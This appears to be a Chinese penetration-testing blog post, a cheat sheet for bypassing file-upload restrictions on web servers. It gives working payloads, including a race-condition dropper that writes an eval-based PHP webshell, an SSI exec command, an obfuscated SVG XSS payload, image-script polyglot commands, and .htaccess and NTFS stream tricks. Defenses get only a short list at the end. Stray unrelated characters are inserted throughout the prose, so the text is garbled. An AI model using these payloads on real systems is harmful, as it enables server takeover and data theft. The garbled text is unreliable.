前言:
實習(xí)工作以后,我才發(fā)現(xiàn)自己對于滲透測試還沒形成自己的測試體系,對于一些常見的漏洞測試方法了解得不夠全顷霹,更加認(rèn)識到知識積累的重要性』髦ǎ總而言之淋淀,一入安全深似海~
文件上傳漏洞利用條件:
1、上傳的文件能被Web服務(wù)器當(dāng)做腳本來執(zhí)行
2姨拥、我們能夠訪問到上傳文件的路徑
代碼審計基礎(chǔ):
關(guān)于 PHP 中 $_FILES 數(shù)組的使用方法:
$_FILES['file']['name']
# 客戶端文件名稱
$_FILES['file']['type']
# 文件的 MIME 類型
$_FILES['file']['size']
# 文件大小單位字節(jié)
$_FILES['file']['tmp_name']
# 文件被上傳后在服務(wù)器端的臨時文件名绅喉,可以在 php.ini 中指定
防御函數(shù):
$file_name = trim($_FILES['upload_file']['name'])`;
$file_name = deldot($file_name);//刪除文件名末尾的點
$file_ext = strrchr($file_name, '.');//查找字符串在另一個字符串中最后一次出現(xiàn)的位置,并返回從該位置到字符串結(jié)尾的所有字符叫乌。
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
文件上傳常見校驗方式:
- 服務(wù)端校驗:
- 文件頭 content-type 字段校驗
- 文件內(nèi)容頭校驗(GIF89a)
- 后綴名黑名單校驗
- 后綴名白名單校驗
- 自定義正則校驗
- WAF設(shè)備校驗(根據(jù)不同的 WAF 產(chǎn)品而定)
- 客戶端 javascript 校驗(一般只校驗后綴名)
常見繞過方式:
-
PUT 方法:
WebDAV 是一種基于 HTTP 1.1 協(xié)議的通信協(xié)議.它擴展了 HTTP 1.1柴罐,在 GET、POST憨奸、HEAD 等幾個 HTTP 標(biāo)準(zhǔn)方法以外添加了一些新的方法革屠。使應(yīng)用程序可直接對 Web Server 直接讀寫,并支持寫文件鎖定 (Locking) 及解鎖 (Unlock)排宰,還可以支持文件的版本控制似芝。
當(dāng) WebDAV 開啟 PUT,MOVE板甘,COPY党瓮,DELETE 方法時,攻擊者就可以向服務(wù)器上傳危險腳本文件盐类。
PUT:由于PUT方法自身不帶驗證機制寞奸,利用PUT方法可以向服務(wù)器上傳文件,所以惡意攻擊者可以上傳木馬等惡意文件在跳。
DELETE:利用DELETE方法可以刪除服務(wù)器上特定的資源文件枪萄,造成惡意攻擊。
OPTIONS:將會造成服務(wù)器信息暴露猫妙,如中間件版本瓷翻、支持的HTTP方法等。
TRACE:可以回顯服務(wù)器收到的請求割坠,主要用于測試或診斷齐帚,一般都會存在反射型跨站漏洞
我們可以將請求方法設(shè)置為OPTIONS,來查看服務(wù)器支持的請求方法彼哼。有些網(wǎng)站開啟了WebDAV对妄,并且管理員配置不當(dāng),導(dǎo)致支持危險的HTTP方法:
-
JavaScript 校驗:
客戶端 JS 驗證通常做法是驗證上傳文件的擴展名是否符合驗證條件,我們可以去除input
標(biāo)簽的accept
屬性
示例代碼如下:
<?php
//文件上傳漏洞演示腳本之js驗證
$uploaddir = 'uploads/';
if (isset($_POST['submit'])) {
if (file_exists($uploaddir)) {
if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploaddir . '/' . $_FILES['upfile']['name'])) {
echo '文件上傳成功沪羔,保存于:' . $uploaddir . $_FILES['upfile']['name'] . "\n";
}
} else {
exit($uploaddir . '文件夾不存在饥伊,請手工創(chuàng)建!');
}
//print_r($_FILES);
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=gbk"/>
<meta http-equiv="content-language" content="zh-CN"/>
<title>文件上傳漏洞演示腳本--JS驗證實例</title>
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upfile')[0].value;
if (file == null || file == "") {
alert("你還沒有選擇任何文件蔫饰,不能上傳!");
return false;
}
//定義允許上傳的文件類型
var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";
//提取上傳文件的類型
var ext_name = file.substring(file.lastIndexOf("."));
//alert(ext_name);
//alert(ext_name + "|");
//判斷上傳文件類型是否允許上傳
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "該文件不允許上傳琅豆,請上傳" + allow_ext + "類型的文件,當(dāng)前文件類型為:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
<body>
<h3>文件上傳漏洞演示腳本--JS驗證實例</h3>
<form action="" method="post" enctype="multipart/form-data" name="upload" onsubmit="return checkFile()">
<input type="hidden" name="MAX_FILE_SIZE" value="204800"/>
請選擇要上傳的文件:<input type="file" name="upfile"/>
<input type="submit" name="submit" value="上傳"/>
</form>
</body>
</html>
直接通過 F12 修改 js 代碼繞過驗證:
或者使用 burp 抓包直接提交篓吁,繞過 js 驗證
-
服務(wù)器端校驗之文件頭 content-type 字段校驗(服務(wù)端 MIME 類型檢測):
MIME type 的縮寫為 (Multipurpose Internet Mail Extensions) 代表互聯(lián)網(wǎng)媒體類型 (Internet media type)茫因,MIME 使用一個簡單的字符串組成,最初是為了標(biāo)識郵件 Email 附件的類型杖剪,在 html 文件中可以使用 content-type 屬性表示冻押,描述了文件類型的互聯(lián)網(wǎng)標(biāo)準(zhǔn)。
Response 對象通過設(shè)置 ContentType 使客戶端瀏覽器盛嘿,區(qū)分不同種類的數(shù)據(jù)洛巢,并根據(jù)不同的 MIME 調(diào)用瀏覽器內(nèi)不同的程序嵌入模塊來處理相應(yīng)的數(shù)據(jù)。
MIME類型格式:
# 類別/子類別; 參數(shù)
Content-Type: [type]/[subtype]; parameter
MIME 主類別:
text:用于標(biāo)準(zhǔn)化地表示的文本信息次兆,文本消息可以是多種字符集和或者多種格式的稿茉;
Multipart:用于連接消息體的多個部分構(gòu)成一個消息,這些部分可以是不同類型的數(shù)據(jù)芥炭;
Application:用于傳輸應(yīng)用程序數(shù)據(jù)或者二進制數(shù)據(jù)漓库;
Message:用于包裝一個 E-mail 消息;
Image:用于傳輸靜態(tài)圖片數(shù)據(jù)园蝠;
Audio:用于傳輸音頻或者音聲數(shù)據(jù)渺蒿;
Video:用于傳輸動態(tài)影像數(shù)據(jù),可以是與音頻編輯在一起的視頻數(shù)據(jù)格式彪薛。
常見MIME類型:
示例代碼:
<?php
if($_FILE['userfile']['type'] != "image/gif"){ //檢測content-type
echo "sorry茂装,we only allow uploading GIF images";
exit;
}
else
{
echo "Upload success!";
}
?>
繞過手段:
通過burp修改MIME type,抓包修改content-type為允許的上傳類型:
image/jpeg陪汽、image/png训唱、image/gif等等
-
后綴名黑名單校驗:
后端腳本檢測文件擴展名,數(shù)據(jù)提交到后端挚冤,后端的函數(shù)對上傳文件的后綴名進行檢測况增,比如黑名單檢測不允許上傳 .php 、.asp 后綴格式的文件
示例代碼:
#后端php檢測
$info=pathinfo($_FILES["file"]["name"]);
$ext=$info['extension'];// 得到文件擴展名
if (strtolower($ext) == "php") { #黑名單檢測训挡,不允許上傳php格式的文件
exit("不允許的后綴名");
}
# 或者
<?php
$type = array("php"澳骤,"php3");
//判斷上傳文件類型
$fileext = fileext($_FILE['file']['name']); # fileext函數(shù)用于獲取文件名的后綴
if(!in_array($fileext,$type)){
echo "upload success!";
}
else{
echo "sorry";
}
?>
-
服務(wù)端基于文件頭檢測:
不同的圖片文件都有不同文件頭澜薄,如:
jpg:FF D8 FF E0 00 10 4A 46 49 46
png: 89 50 4E 47 0D 0A 1A 0A 00 00
gif: 47 49 46 38 39 61 26 02 6F 01
zip: 50 4B 03 04
.doc?.xls?.xlt?.ppt?.apr: D0 CF 11 E0 A1 B1 1A E1
繞過方式:繞過這個檢測只需要在惡意腳本前加上允許上傳文件的頭標(biāo)識
GIF89a
<?php phpinfo(); ?>
補充:jpg 格式圖片頭部是 JFIF 为肮,gif頭部是GIF89a,png頭部是%PNG
-
服務(wù)端文件內(nèi)容拓展檢測:
如果服務(wù)器對上傳的文件進行了文件內(nèi)容檢測就只能上傳圖片了肤京,但是可以利用圖片和腳本文件制作一個圖片馬 如 1.jpg 和2.txt 前面的圖片盡量要簡單颊艳,不然容易干擾制作后的文件內(nèi)容解析茅特,后面的文檔是需要執(zhí)行的腳本文件:
copy /b 1.jpg + 2.txt = info.php
-
雙文件上傳:
利用原理:
有兩個文件默認(rèn)是取第二個文件正常上傳,但是檢測值檢測第一個文件棋枕,所以修改數(shù)據(jù)包的時候可以修改第一個文件為正常文件白修,第二個文件為腳本木馬
-
條件競爭上傳:
原理:
上傳文件時,服務(wù)器獲取文件重斑,先把它保存到臨時文件中(不是網(wǎng)站根目錄)兵睛,然后再上傳到網(wǎng)站根目錄,最后才進行判斷檢測(即先上傳后進行判斷與刪除)
利用思路:
利用一個時間差窥浪,使用多線程并發(fā)的訪問上傳的文件祖很,總會有一次在上傳文件到刪除文件這個時間段內(nèi)訪問到上傳的 php 文件,一旦我們成功訪問到了上傳的文件漾脂,那么它就會向服務(wù)器寫一個 shell
利用代碼:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]);?>');?>
-
其他繞過技巧:
1假颇、多個分號繞過:文件解析時,可能解析不到文件名骨稿,導(dǎo)致繞過拆融。
Content-Disposition: form-data;name="file_x";;;filename="test.php"
2、多加一個filename(HPP):
3啊终、多個Content-Disposition:
-
繞過技巧小結(jié):
- 上傳不符合 windows 文件命名規(guī)則的文件名
- 大小寫繞過:針對對大小寫不敏感的系統(tǒng)如 windows:test.pHp
- 空格繞過:用burp截斷镜豹,后在文件名末尾添加空格:test.php(空格)
- 在 windows 下,下劃線是空格蓝牲,保存文件時下劃線被吃掉剩下 test.php:test.php_
- 點號繞過:用burp截斷趟脂,后在文件名末尾添加.:test.php.
- 路徑拼接繞過:最后一個點前有空格,適用于上傳的文件名沒有被修改:test.php. .
- 特殊符合繞過:test.php::$DATA
上傳以上文件名會被 windows 系統(tǒng)自動去掉不符合規(guī)則符號后面的內(nèi)容
- 00截斷:
php5.3之前會把0x00當(dāng)做結(jié)束符,繞過白名單:
php版本小于5.3.4時例衍,可通過%00截斷文件后綴名昔期,如:filename="123.php%00.png"
- Null Byte Injection空字節(jié)繞過:
插入空字節(jié)值的原因是某些應(yīng)用程序服務(wù)器腳本語言使用c/c++庫來檢查文件名和內(nèi)容。在C/C ++中佛玄,一行以/00結(jié)尾或稱為NullByte硼一。因此,只要解釋器在字符串的末尾看到一個空字節(jié)梦抢,就會停止讀取般贼,認(rèn)為它已經(jīng)到達(dá)字符串的末尾。
如奥吩,我們將要上傳的Happy.jpg的名稱更改為Happy.phpA.jpg哼蛆,然后上傳文件,在Burp中捕獲請求霞赫,切換到Hex視圖腮介。在字符串視圖中找到文件名。查看相應(yīng)的Hex表端衰,并將41('A')替換為00(為空字節(jié))叠洗。結(jié)果字符串變?yōu)镠appy.php(空).jpeg甘改。由于php解釋器在內(nèi)部使用C語言庫,它將停止讀取Happy.php后的文件名灭抑,文件將保存為Happy.php楼誓。
補充:該手法也可嘗試用于繞過waf,之前測試某省營業(yè)廳的時候通過空字節(jié)繞過導(dǎo)致XSS
- 基于拓展名的繞過:
Asp:asa名挥、cer、cdx主守、web.config
Aspx:ashx禀倔、asmx、ascx
Php:php2参淫、php3救湖、php5、phtml涎才、pht鞋既、phpt
Jsp:jspx、jspf耍铜、jspa
perl:pl邑闺、pm、cgi棕兼、lib
Coldfusion:cfm陡舅、cfml、cfc伴挚、dbm
- 利用 NTFS ADS 特性:
上傳的文件名 | 服務(wù)器表面現(xiàn)象 | 生成的文件內(nèi)容 |
---|---|---|
Test.php:a.jpg | 生成Test.php | 空 |
Test.php::$DATA | 生成test.php | <?php phpinfo();?> |
Test.php::$INDEX_ALLOCATION | 生成test.php文件夾 | |
Test.php::$DATA\0.jpg | 生成0.jpg | <?php phpinfo();?> |
Test.php::$DATA\aaa.jpg | 生成aaa.jpg | <?php phpinfo();?> |
詳情請參考:NTFS ADS的前世今生
- Linux主機上的文件名大小寫敏感,文件后綴名大小混寫
- 配合解析漏洞:
解析漏洞一般配合圖片馬進行利用:
制作圖片馬:
copy a.jpg /b + shell.php /a webshell.jpg
因為篇幅原因靶衍,不過多介紹,詳情請參考:服務(wù)器針對文件的解析漏洞匯總
- 超長文件名截斷上傳:windows 258byte | linux 4096byte
- 配合 .user.ini 配置文件本地包含文件茎芋,詳情請參考:.user.ini配置文件在滲透中的利用
- 配合 Apache 的 .htaccess 文件上傳解析漏洞(測試失敗颅眶,待解決)
htaccess文件是Apache服務(wù)器中的一個配置文件,負(fù)責(zé)相關(guān)目錄下的網(wǎng)頁配置田弥。它可以實現(xiàn):網(wǎng)頁301重定向涛酗、自定義404錯誤頁面、改變文件擴展名偷厦、允許/阻止特定的用戶或者目錄的訪問煤杀、禁止目錄列表、配置默認(rèn)文檔等功能沪哺。
利用前提:
要在Apache中啟動執(zhí)行.htaccess沈自,必須在http.conf中設(shè)置AllowOverride All(默認(rèn)為None),并且啟動Rewrite模塊
編寫.htaccess辜妓,內(nèi)容編輯為:
AddType application/x-httpd-php .jpg
.htaccess 文件里的代碼可以讓 .jpg 后綴名文件格式的文件名以 php 格式解析
補充:
有時候翻看站點的js文件時會發(fā)現(xiàn)其泄露了文件上傳的接口地址枯途,這時我們可以構(gòu)造一個本地的文件上傳忌怎,并用Burp抓包post到該路徑,這里我以pikachu靶場舉例:
構(gòu)造一個本地的文件上傳:
<form action="http://192.168.107.145/pikachu1/vul/unsafeupload/clientcheck.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="uploadfile" id="uploadfile">
<br>
<input type="submit" name="submit" value="submit">
</form>
成功上傳文件:
小伙伴們可以參考:從代碼審計到拿下某菠菜客服站(文末抽獎送書)
上傳 HTML 文件:
很多網(wǎng)站采用黑名單的過濾機制酪夷,但是他們忘記了過濾 html 文件榴啸,這就造成了上傳html文件形成存儲型XSS或者利用html文件進行釣魚。
# 1.html
<%00EEEE<svg /\/\//ONLoad='a\u006c\u0065\u0072\u0074(1)'/\/\/\>svg>%0APayload
Bypass Waf技巧請參考:簡單粗暴的文件上傳漏洞
防御手段:
- 客戶端檢測晚岭,使用 js 對上傳圖片檢測鸥印,包括文件大小、文件擴展名坦报、文件類型等
- 服務(wù)端檢測库说,對文件大小、文件路徑片择、文件擴展名潜的、文件類型、文件內(nèi)容檢測字管、對文件重命名等
- 服務(wù)器端上傳目錄設(shè)置不可執(zhí)行權(quán)限
- 檢查網(wǎng)站有沒有文件解析漏洞和文件包含漏洞
- 將文件上傳到單獨的文件服務(wù)器啰挪,并且單獨設(shè)置文件服務(wù)器的域名
Apache SSI 遠(yuǎn)程命令執(zhí)行漏洞:
在測試任意文件上傳漏洞的時候,目標(biāo)服務(wù)端可能不允許上傳php后綴的文件嘲叔。如果目標(biāo)服務(wù)器開啟了SSI與CGI支持亡呵,我們可以上傳一個shtml文件
SSI:提供了一種對現(xiàn)有HTML文檔增加動態(tài)內(nèi)容的方法,不需要編寫復(fù)雜的JSP/PHP/ASP等程序或者調(diào)用CGI程序
利用如下語法即可執(zhí)行任意命令:
<!--#exec cmd="id" -->
成功上傳硫戈,然后訪問shell.shtml政己,可見命令已成功執(zhí)行: